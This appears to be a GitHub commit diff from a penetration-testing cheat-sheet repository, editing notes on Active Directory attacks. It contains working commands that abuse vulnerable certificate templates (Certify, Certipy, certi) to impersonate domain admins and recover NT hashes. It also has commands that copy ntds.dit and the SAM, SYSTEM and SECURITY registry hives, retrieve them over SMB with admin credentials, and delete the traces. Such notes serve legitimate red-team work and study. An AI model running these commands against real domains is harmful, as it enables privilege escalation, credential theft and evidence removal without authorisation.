-
Notifications
You must be signed in to change notification settings - Fork 106
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
2f78404
commit 9a562e1
Showing
13 changed files
with
151 additions
and
45 deletions.
There are no files selected for viewing
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -26,12 +26,12 @@ PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-en | |
|
||
|
||
|
||
### From Windows | ||
### Certify | ||
|
||
Request a certificate specifying the `/altname` as a domain admin: | ||
|
||
``` | ||
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:VulnTemplate /altname:DomAdmin | ||
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:VulnTemplate /altname:DomAdmin | ||
``` | ||
|
||
Convert `.pem` to a `.pfx` certificate: | ||
|
@@ -48,14 +48,30 @@ Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:D | |
|
||
|
||
|
||
### From Linux | ||
### Certipy | ||
|
||
Enroll a certificate with privileged subject in SAN: | ||
|
||
``` | ||
$ certipy req megacorp.local/snovvcrash:'Passw0rd!'@CA01.megacorp.local -ca CorpCA -template VulnTemplate -alt '[email protected]' | ||
``` | ||
|
||
Request TGT providing certificate and get corresponding NT hash automatically: | ||
|
||
``` | ||
$ certipy auth -pfx administrator.pfx -domain megacorp.local -username administrator -dc-ip 192.168.1.11 | ||
``` | ||
|
||
|
||
|
||
### certi | ||
|
||
- [https://gist.github.com/Flangvik/15c3007dcd57b742d4ee99502440b250](https://gist.github.com/Flangvik/15c3007dcd57b742d4ee99502440b250) | ||
|
||
Enroll a certificate with privileged subject in SAN: | ||
|
||
``` | ||
$ certi.py req megacorp.local/[email protected] CA01 -k -n --dc-ip 192.168.1.11 --template VulnTemplate --alt-name 'DC01$' | ||
$ certi.py req megacorp.local/[email protected] CorpCA -k -n --dc-ip 192.168.1.11 --template VulnTemplate --alt-name 'DC01$' | ||
``` | ||
|
||
Request TGT providing certificate: | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -50,19 +50,19 @@ end backup | |
Create a network share with anonymous access and put there all we need: | ||
|
||
``` | ||
mkdir C:\smb_pentest | ||
copy w:\Windows\NTDS\ntds.dit C:\smb_pentest\ntds.dit | ||
cmd /c reg.exe save hklm\system C:\smb_pentest\system.hive | ||
cmd /c reg.exe save hklm\sam C:\smb_pentest\sam.hive | ||
cmd /c reg.exe save hklm\security C:\smb_pentest\security.hive | ||
cmd /c net share pentest=c:\smb_pentest /GRANT:"Everyone,FULL" | ||
cd \Windows\Temp | ||
copy w:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit | ||
cmd /c reg.exe save hklm\system C:\Windows\Temp\system.hive | ||
cmd /c reg.exe save hklm\sam C:\Windows\Temp\sam.hive | ||
cmd /c reg.exe save hklm\security C:\Windows\Temp\security.hive | ||
``` | ||
|
||
Connect to the share and grab the files: | ||
|
||
``` | ||
$ smbclient.py 'snovvcrash:[email protected]' | ||
> use pentest | ||
$ smbclient.py MEGACORP/administrator:'Passw0rd!'@192.168.1.11 | ||
> use C$ | ||
> cd windows/temp | ||
> get ntds.dit | ||
> get system.hive | ||
> get sam.hive | ||
|
@@ -100,8 +100,6 @@ reset | |
Remove the share and all the traces: | ||
|
||
``` | ||
cmd /c net share pentest /delete | ||
rm -re -fo C:\smb_pentest | ||
rm C:\Windows\Temp\meta.cab | ||
rm add_vol.txt | ||
rm delete_vol.txt | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.